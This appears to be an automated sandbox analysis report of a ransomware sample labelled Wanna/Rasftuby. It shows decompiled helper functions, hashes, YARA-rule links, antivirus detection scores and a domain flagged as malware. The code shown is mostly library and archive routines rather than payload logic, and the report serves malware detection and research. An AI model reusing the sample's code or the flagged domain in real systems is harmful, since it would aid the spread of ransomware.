						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptProtectMemory failed, xrefs: 0040CF3C
CryptUnprotectMemory failed, xrefs: 0040CF75

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	URL Reputation: Label: malware

Source: C:\WINDOWS\qeriuwjhrf (copy)	Virustotal: Detection: 87%	Perma Link
Source: C:\WINDOWS\qeriuwjhrf (copy)	Metadefender: Detection: 68%	Perma Link
Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 87%
Source: C:\Windows\eee.exe	Virustotal: Detection: 10%	Perma Link
Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 92%
Source: C:\Windows\tasksche.exe	Metadefender: Detection: 68%	Perma Link
Source: C:\Windows\tasksche.exe	ReversingLabs: Detection: 87%

Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected
Source: C:\Windows\eee.exe	Joe Sandbox ML: detected

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/Rasftuby.cpsmr
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Rasftuby.cpsmr

Source: 8.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.otiki
Source: 5.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 7.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Rasftuby.cpsmr
